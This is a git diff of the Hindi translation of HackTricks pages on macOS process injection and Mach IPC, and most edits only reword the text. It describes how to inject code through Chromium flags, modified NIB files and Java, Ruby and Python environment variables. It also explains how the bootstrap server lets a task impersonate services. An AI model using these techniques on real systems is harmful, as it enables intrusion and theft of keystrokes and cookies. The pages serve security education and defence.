नियंत्रण प्राप्त कर सकता है। {{#ref}} macos-function-hooking.md @@ -177,7 +177,7 @@ macos-electron-applications-injection.md ### क्रोमियम इंजेक्शन -यह **ब्राउज़र में मैन इन द ब्राउज़र हमले** को करने के लिए `--load-extension` और `--use-fake-ui-for-media-stream` फ्लैग्स का उपयोग करना संभव है, जिससे कीस्ट्रोक्स, ट्रैफ़िक, कुकीज़ चुराने, पृष्ठों में स्क्रिप्ट इंजेक्ट करने की अनुमति मिलती है...: +यह **ब्राउज़र में मैन इन द ब्राउज़र हमले** को करने के लिए `--load-extension` और `--use-fake-ui-for-media-stream` फ्लैग्स का उपयोग करना संभव है, जिससे कीस्ट्रोक्स, ट्रैफ़िक, कुकीज़ चुराने, पृष्ठों में स्क्रिप्ट इंजेक्ट करने की अनुमति मिलती है: {{#ref}} macos-chromium-injection.md @@ -185,7 +185,7 @@ macos-chromium-injection.md ### गंदा NIB -NIB फ़ाइलें **उपयोगकर्ता इंटरफ़ेस (UI) तत्वों** और उनके अनुप्रयोग के भीतर इंटरैक्शन को परिभाषित करती हैं। हालाँकि, वे **मनमाने आदेशों को निष्पादित** कर सकती हैं और **गेटकीपर** एक पहले से निष्पादित अनुप्रयोग को निष्पादित करने से नहीं रोकता है यदि एक **NIB फ़ाइल को संशोधित किया गया है**। इसलिए, इन्हें मनमाने कार्यक्रमों को मनमाने आदेश निष्पादित करने के लिए उपयोग किया जा सकता है: +NIB फ़ाइलें **उपयोगकर्ता इंटरफ़ेस (UI) तत्वों** और उनके इंटरैक्शन को परिभाषित करती हैं। हालाँकि, वे **मनमाने आदेशों को निष्पादित** कर सकती हैं और **गेटकीपर** पहले से निष्पादित अनुप्रयोग को निष्पादित करने से नहीं रोकता है यदि एक **NIB फ़ाइल को संशोधित किया गया है**। इसलिए, इन्हें मनमाने कार्यक्रमों को मनमाने आदेश निष्पादित करने के लिए उपयोग किया जा सकता है: {{#ref}} macos-dirty-nib.md @@ -193,7 +193,7 @@ macos-dirty-nib.md ### जावा अनुप्रयोग इंजेक्शन -कुछ जावा क्षमताओं (जैसे **`_JAVA_OPTS`** env वेरिएबल) का दुरुपयोग करके एक जावा अनुप्रयोग को **मनमाना कोड/आदेश** निष्पादित करने के लिए संभव है। +कुछ जावा क्षमताओं (जैसे **`_JAVA_OPTS`** env वेरिएबल) का दुरुपयोग करके एक जावा अनुप्रयोग को **मनमाना कोड/आदेश** निष्पादित करने के लिए मजबूर करना संभव है। {{#ref}} macos-java-apps-injection.md @@ -217,7 +217,7 @@ macos-perl-applications-injection.md ### रूबी इंजेक्शन -यह भी संभव है कि रूबी env वेरिएबल का दुरुपयोग करके मनमाने स्क्रिप्ट को मनमाना कोड निष्पादित करने के लिए बनाया जाए: +यह भी संभव है कि रूबी env वेरिएबल का दुरुपयोग करके मनमाने स्क्रिप्ट को मनमाना कोड निष्पादित करने के लिए मजबूर किया जाए: {{#ref}} macos-ruby-applications-injection.md @@ -225,15 +225,15 @@ macos-ruby-applications-injection.md ### पायथन इंजेक्शन -यदि पर्यावरण चर **`PYTHONINSPECT`** सेट किया गया है, तो पायथन प्रक्रिया समाप्त होने पर पायथन CLI में गिर जाएगी। यह भी संभव है कि **`PYTHONSTARTUP`** का उपयोग करके एक पायथन स्क्रिप्ट को इंटरैक्टिव सत्र की शुरुआत में निष्पादित करने के लिए इंगित किया जाए।\ +यदि पर्यावरणीय वेरिएबल **`PYTHONINSPECT`** सेट किया गया है, तो पायथन प्रक्रिया समाप्त होने पर पायथन CLI में गिर जाएगी। यह भी संभव है कि **`PYTHONSTARTUP`** का उपयोग करके एक पायथन स्क्रिप्ट को इंटरैक्टिव सत्र की शुरुआत में निष्पादित करने के लिए इंगित किया जाए।\ हालांकि, ध्यान दें कि **`PYTHONSTARTUP`** स्क्रिप्ट तब निष्पादित नहीं होगी जब **`PYTHONINSPECT`** इंटरैक्टिव सत्र बनाता है। अन्य env वेरिएबल जैसे **`PYTHONPATH`** और **`PYTHONHOME`** भी मनमाने कोड को निष्पादित करने के लिए उपयोगी हो सकते हैं। -ध्यान दें कि **`pyinstaller`** के साथ संकलित निष्पादन योग्य इन पर्यावरण चर का उपयोग नहीं करेंगे, भले ही वे एम्बेडेड पायथन का उपयोग करके चल रहे हों। +ध्यान दें कि **`pyinstaller`** के साथ संकलित निष्पादन योग्य इन पर्यावरणीय वेरिएबल का उपयोग नहीं करेंगे, भले ही वे एम्बेडेड पायथन का उपयोग करके चल रहे हों। > [!CAUTION] -> कुल मिलाकर, मैं पर्यावरण चर का दुरुपयोग करके पायथन को मनमाना कोड निष्पादित करने का कोई तरीका नहीं ढूंढ सका।\ +> कुल मिलाकर, मुझे पर्यावरणीय वेरिएबल का दुरुपयोग करके पायथन को मनमाना कोड निष्पादित करने का कोई तरीका नहीं मिला।\ > हालाँकि, अधिकांश लोग **Hombrew** का उपयोग करके पायथन स्थापित करते हैं, जो डिफ़ॉल्ट व्यवस्थापक उपयोगकर्ता के लिए **लिखने योग्य स्थान** में पायथन स्थापित करेगा। आप इसे कुछ इस तरह से हाइजैक कर सकते हैं: > > ```bash @@ -252,18 +252,18 @@ macos-ruby-applications-injection.md ### शील्ड -[**शील्ड**](https://theevilbit.github.io/shield/) ([**गिटहब**](https://github.com/theevilbit/Shield)) एक ओपन-सोर्स एप्लिकेशन है जो **प्रक्रिया इंजेक्शन** क्रियाओं का **पता लगाने और अवरुद्ध करने** में सक्षम है: +[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) एक ओपन-सोर्स एप्लिकेशन है जो **प्रक्रिया इंजेक्शन** क्रियाओं का **पता लगाने और अवरुद्ध करने** में सक्षम है: -- **पर्यावरण चर का उपयोग करना**: यह निम्नलिखित पर्यावरण चर में से किसी की उपस्थिति की निगरानी करेगा: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** और **`ELECTRON_RUN_AS_NODE`** -- **`task_for_pid`** कॉल का उपयोग करना: यह पता लगाने के लिए कि एक प्रक्रिया दूसरे की **कार्य पोर्ट** प्राप्त करना चाहती है, जो प्रक्रिया में कोड इंजेक्ट करने की अनुमति देती है। +- **पर्यावरणीय वेरिएबल का उपयोग करना**: यह निम्नलिखित पर्यावरणीय वेरिएबल में से किसी की उपस्थिति की निगरानी करेगा: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** और **`ELECTRON_RUN_AS_NODE`** +- **`task_for_pid`** कॉल का उपयोग करना: यह पता लगाने के लिए कि एक प्रक्रिया दूसरी प्रक्रिया का **कार्य पोर्ट प्राप्त करना चाहती है** जो प्रक्रिया में कोड इंजेक्ट करने की अनुमति देती है। - **इलेक्ट्रॉन ऐप्स पैरामीटर**: कोई व्यक्ति **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** कमांड लाइन तर्क का उपयोग करके एक इलेक्ट्रॉन ऐप को डिबगिंग मोड में शुरू कर सकता है, और इस प्रकार इसमें कोड इंजेक्ट कर सकता है। -- **सिंबलिंक** या **हार्डलिंक** का उपयोग करना: आमतौर पर सबसे सामान्य दुरुपयोग यह है कि **हमारे उपयोगकर्ता अनुमतियों के साथ एक लिंक रखा जाए**, और **उच्चतर अनुमतियों** वाले स्थान की ओर इंगित किया जाए। हार्डलिंक और सिंबलिंक दोनों के लिए पहचान बहुत सरल है। यदि लिंक बनाने वाली प्रक्रिया का **लक्ष्य फ़ाइल** की तुलना में **विभिन्न अनुमतियों का स्तर** है, तो हम एक **अलर्ट** बनाते हैं। दुर्भाग्यवश, सिंबलिंक के मामले में अवरोधन संभव नहीं है, क्योंकि लिंक बनाने से पहले हमें लिंक के गंतव्य के बारे में जानकारी नहीं होती है। यह Apple के EndpointSecuriy ढांचे की एक सीमा है। +- **सिंबलिंक** या **हार्डलिंक** का उपयोग करना: आमतौर पर सबसे सामान्य दुरुपयोग यह है कि **हमारे उपयोगकर्ता अनुमतियों के साथ एक लिंक रखा जाए**, और **उच्च अनुमतियों** वाले स्थान की ओर इशारा किया जाए। हार्डलिंक और सिंबलिंक दोनों के लिए पहचान बहुत सरल है। यदि लिंक बनाने वाली प्रक्रिया का **लक्ष्य फ़ाइल** की तुलना में **विभिन्न अनुमतियों का स्तर** है, तो हम एक **अलर्ट** बनाते हैं। दुर्भाग्यवश, सिंबलिंक के मामले में अवरोधन संभव नहीं है, क्योंकि लिंक बनाने से पहले हमें लिंक के गंतव्य के बारे में जानकारी नहीं होती है। यह Apple के EndpointSecurity ढांचे की एक सीमा है। ### अन्य प्रक्रियाओं द्वारा किए गए कॉल -[**इस ब्लॉग पोस्ट**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) में आप देख सकते हैं कि यह संभव है कि **`task_name_for_pid`** फ़ंक्शन का उपयोग करके अन्य **प्रक्रियाओं में कोड इंजेक्ट करने** के बारे में जानकारी प्राप्त की जा सके और फिर उस अन्य प्रक्रिया के बारे में जानकारी प्राप्त की जा सके। +[**इस ब्लॉग पोस्ट**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) में आप देख सकते हैं कि यह संभव है कि **`task_name_for_pid`** फ़ंक्शन का उपयोग करके अन्य **प्रक्रियाओं के बारे में जानकारी प्राप्त की जाए** जो एक प्रक्रिया में कोड इंजेक्ट कर रही हैं और फिर उस अन्य प्रक्रिया के बारे में जानकारी प्राप्त की जाए। -ध्यान दें कि उस फ़ंक्शन को कॉल करने के लिए आपको प्रक्रिया को चलाने वाले के समान **uid** होना चाहिए या **रूट** (और यह प्रक्रिया के बारे में जानकारी लौटाता है, कोड इंजेक्ट करने का कोई तरीका नहीं)। +ध्यान दें कि उस फ़ंक्शन को कॉल करने के लिए आपको **वही uid** होना चाहिए जो प्रक्रिया चला रहा है या **रूट** (और यह प्रक्रिया के बारे में जानकारी लौटाता है, कोड इंजेक्ट करने का कोई तरीका नहीं)। ## संदर्भ diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index 39940a45a..1e4d6c68d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -1,59 +1,59 @@ -# macOS IPC - Inter Process Communication +# macOS IPC - इंटर प्रोसेस संचार {{#include ../../../../banners/hacktricks-training.md}} -## Mach messaging via Ports +## मच संदेश भेजना पोर्ट के माध्यम से -### Basic Information +### बुनियादी जानकारी -Mach **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड POSIX प्रक्रियाओं और थ्रेड्स के लिए 1:1 मैप किए जाते हैं**। +मच **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटी इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड 1:1 के अनुपात में POSIX प्रक्रियाओं और थ्रेड्स से मैप होते हैं**। -कार्य के बीच संचार Mach इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो कर्नेल द्वारा प्रबंधित **संदेश कतारों** के रूप में कार्य करते हैं। +कार्य के बीच संचार मच इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो कर्नेल द्वारा प्रबंधित **संदेश कतारों** के रूप में कार्य करते हैं। -एक **पोर्ट** Mach IPC का **बुनियादी** तत्व है। इसका उपयोग **संदेश भेजने और प्राप्त करने** के लिए किया जा सकता है। +एक **पोर्ट** मच IPC का **बुनियादी** तत्व है। इसका उपयोग **संदेश भेजने और प्राप्त करने** के लिए किया जा सकता है। -प्रत्येक प्रक्रिया में एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **mach पोर्ट** पाए जा सकते हैं। एक mach पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। +प्रत्येक प्रक्रिया के पास एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **मच पोर्ट** मिल सकते हैं। एक मच पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)। एक प्रक्रिया एक पोर्ट नाम कुछ अधिकारों के साथ **एक अलग कार्य** को भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा। -### Port Rights +### पोर्ट अधिकार -पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। Mach पोर्ट MPSC (multiple-producer, single-consumer) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। -- एक **कार्य जिसमें प्राप्ति** अधिकार है, संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेजने की अनुमति देता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। +- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। मच पोर्ट MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएँ एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)। +- एक **कार्य जिसके पास प्राप्ति** अधिकार है, संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेजने की अनुमति देता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**। - यदि प्राप्ति अधिकार का मालिक **मर जाता है** या इसे मार देता है, तो **भेजने का अधिकार बेकार हो जाता है (मृत नाम)**। - **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है। -- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे तीसरे कार्य को दे सकता है**। -- ध्यान दें कि **पोर्ट अधिकार** को Mac संदेशों के माध्यम से भी **बीतित** किया जा सकता है। +- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे एक तीसरे कार्य को दे सकता है**। +- ध्यान दें कि **पोर्ट अधिकार** को मच संदेशों के माध्यम से भी **बीतित** किया जा सकता है। - **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है। - यह अधिकार **क्लोन** नहीं किया जा सकता, लेकिन इसे **स्थानांतरित** किया जा सकता है। -- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने से उस पोर्ट में से एक संदेश डीक्यू होता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। -- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं। +- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`। +- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नाम में बदल जाते हैं। -**कार्य दूसरों को भेजने के अधिकार स्थानांतरित कर सकते हैं**, जिससे उन्हें वापस संदेश भेजने की अनुमति मिलती है। **भेजने के अधिकार को भी क्लोन किया जा सकता है, इसलिए एक कार्य इसे डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया जिसे **बूटस्ट्रैप सर्वर** के रूप में जाना जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। +**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य इसे डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है। -### File Ports +### फ़ाइल पोर्ट -फाइल पोर्ट Mac पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (Mach पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके `fileport` बनाना संभव है और एक fileport से FD बनाना `fileport_makefd` का उपयोग करके संभव है। +फ़ाइल पोर्ट मैक पोर्ट्स में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (मच पोर्ट अधिकारों का उपयोग करके)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक फ़ाइलपोर्ट से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है। -### Establishing a communication +### संचार स्थापित करना -जैसा कि पहले उल्लेख किया गया है, Mach संदेशों का उपयोग करके अधिकार भेजना संभव है, हालाँकि, आप **एक अधिकार को भेज नहीं सकते बिना पहले से एक अधिकार के** Mach संदेश भेजने के लिए। तो, पहला संचार कैसे स्थापित किया जाता है? +जैसा कि पहले उल्लेख किया गया है, मच संदेशों का उपयोग करके अधिकार भेजना संभव है, हालाँकि, आप **बिना पहले से अधिकार के मच संदेश भेज नहीं सकते**। तो, पहला संचार कैसे स्थापित किया जाता है? -इसके लिए, **बूटस्ट्रैप सर्वर** (**launchd** in mac) शामिल है, क्योंकि **हर कोई बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है**, यह संभव है कि इसे किसी अन्य प्रक्रिया को संदेश भेजने के लिए अधिकार मांगा जाए: +इसके लिए, **बूटस्ट्रैप सर्वर** (**launchd** मैक में) शामिल होता है, क्योंकि **हर कोई बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है**, इसलिए इसे किसी अन्य प्रक्रिया को संदेश भेजने के लिए अधिकार मांगने के लिए कहा जा सकता है: 1. कार्य **A** एक **नया पोर्ट** बनाता है, उस पर **प्राप्ति अधिकार** प्राप्त करता है। -2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक भेजने का अधिकार उत्पन्न करता है**। -3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, और **उसे भेजने का अधिकार** भेजता है जो उसने शुरुआत में उत्पन्न किया था। -- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है। +2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक SEND अधिकार उत्पन्न करता है**। +3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, और **उसे पोर्ट के लिए SEND अधिकार भेजता है** जिसे उसने शुरुआत में उत्पन्न किया था। +- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है। 4. कार्य A बूटस्ट्रैप सर्वर को एक `bootstrap_register` संदेश भेजता है ताकि **दिए गए पोर्ट को एक नाम से जोड़ सके** जैसे `com.apple.taska` -5. कार्य **B** बूटस्ट्रैप सर्वर के साथ बातचीत करता है ताकि **सेवा** नाम के लिए बूटस्ट्रैप **लुकअप** कर सके (`bootstrap_lookup`)। ताकि बूटस्ट्रैप सर्वर प्रतिक्रिया दे सके, कार्य B इसे एक **पोर्ट के लिए भेजने का अधिकार** भेजेगा जो उसने पहले लुकअप संदेश के भीतर बनाया था। यदि लुकअप सफल होता है, तो **सर्वर भेजने के अधिकार को डुप्लिकेट करता है** जो कार्य A से प्राप्त हुआ और **इसे कार्य B को संप्रेषित करता है**। -- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को भेजने का अधिकार प्राप्त कर सकता है। -6. इस भेजने के अधिकार के साथ, **कार्य B** **संदेश भेजने में सक्षम है** **कार्य A** को। -7. द्विदिश संचार के लिए आमतौर पर कार्य **B** एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार के साथ एक नया पोर्ट उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)। +5. कार्य **B** बूटस्ट्रैप सर्वर के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** कर सके (`bootstrap_lookup`)। ताकि बूटस्ट्रैप सर्वर प्रतिक्रिया दे सके, कार्य B इसे एक **SEND अधिकार भेजेगा** जिसे उसने पहले लुकअप संदेश के भीतर बनाया था। यदि लुकअप सफल होता है, तो **सर्वर SEND अधिकार को डुप्लिकेट करता है** जो कार्य A से प्राप्त हुआ था और **इसे कार्य B को संप्रेषित करता है**। +- याद रखें कि कोई भी बूटस्ट्रैप सर्वर को SEND अधिकार प्राप्त कर सकता है। +6. इस SEND अधिकार के साथ, **कार्य B** **संदेश भेजने में सक्षम है** **कार्य A** को। +7. द्विदिशीय संचार के लिए आमतौर पर कार्य **B** एक **प्राप्ति** अधिकार और एक **SEND** अधिकार के साथ एक नया पोर्ट उत्पन्न करता है, और **SEND अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। -बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता जो एक कार्य द्वारा दावा किया गया है। इसका मतलब है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण कर सकता है**, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना। +बूटस्ट्रैप सर्वर **सेवा नाम का प्रमाणीकरण नहीं कर सकता** जो एक कार्य द्वारा दावा किया गया है। इसका मतलब है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण कर सकता है**, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना। फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों में से प्रत्येक के लिए एक **प्राप्ति अधिकार** बनाएगा और रखेगा। @@ -61,20 +61,20 @@ Mach **कार्य** को संसाधनों को साझा क - कार्य **B** एक सेवा नाम के लिए बूटस्ट्रैप **लुकअप** शुरू करता है। - **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**। -- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** (`bootstrap_check_in()`) करता है। यहाँ, **बूटस्ट्रैप** सर्वर एक भेजने का अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। -- launchd **भेजने के अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**। -- कार्य **B** एक नया पोर्ट उत्पन्न करता है जिसमें एक **प्राप्ति** अधिकार और एक **भेजने** का अधिकार होता है, और **भेजने का अधिकार कार्य A** (सेवा) को देता है ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)। +- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** (`bootstrap_check_in()`) करता है। यहाँ, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, इसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**। +- launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**। +- कार्य **B** एक नया पोर्ट उत्पन्न करता है जिसमें एक **प्राप्ति** अधिकार और एक **SEND** अधिकार होता है, और **SEND अधिकार कार्य A को देता है** (सेवा) ताकि वह कार्य B को संदेश भेज सके (द्विदिशीय संचार)। -हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है। +हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-प्रणाली कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो अनुकरण की अनुमति दे सकता है। > [!CAUTION] > इसलिए, launchd कभी भी क्रैश नहीं होना चाहिए या पूरा सिस्टम क्रैश हो जाएगा। -### A Mach Message +### एक मच संदेश -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +[यहां अधिक जानकारी प्राप्त करें](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, Mach संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है: +`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, मच संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक होता है। यह संदेश `mach_msg_header_t` संरचना से शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -110,10 +110,10 @@ voucher, स्थानीय और दूरस्थ पोर्ट मे ``` उदाहरण के लिए, `MACH_MSG_TYPE_MAKE_SEND_ONCE` का उपयोग इस पोर्ट के लिए एक **send-once** **right** को व्युत्पन्न और स्थानांतरित करने के लिए **संकेत** देने के लिए किया जा सकता है। इसे प्राप्तकर्ता को उत्तर देने से रोकने के लिए `MACH_PORT_NULL` के रूप में भी निर्दिष्ट किया जा सकता है। -एक आसान **bi-directional communication** प्राप्त करने के लिए, एक प्रक्रिया **mach port** को निर्दिष्ट कर सकती है जो **message header** में _reply port_ (**`msgh_local_port`**) कहलाता है, जहाँ संदेश का **receiver** इस संदेश का **reply** भेज सकता है। +एक आसान **bi-directional communication** प्राप्त करने के लिए, एक प्रक्रिया **mach port** को निर्दिष्ट कर सकती है जो **message header** में _reply port_ (**`msgh_local_port`**) कहलाता है, जहाँ संदेश का **receiver** इस संदेश का **उत्तर** भेज सकता है। > [!TIP] -> ध्यान दें कि इस प्रकार की bi-directional communication का उपयोग XPC संदेशों में किया जाता है जो एक replay की अपेक्षा करते हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है, bi-directional communication बनाने के लिए। +> ध्यान दें कि इस प्रकार की bi-directional communication का उपयोग XPC संदेशों में किया जाता है जो एक पुनः खेल की अपेक्षा करते हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है, bi-directional communication बनाने के लिए। संदेश हेडर के अन्य क्षेत्र हैं: @@ -123,17 +123,17 @@ voucher, स्थानीय और दूरस्थ पोर्ट मे - `msgh_id`: इस संदेश की ID, जिसे प्राप्तकर्ता द्वारा व्याख्यायित किया 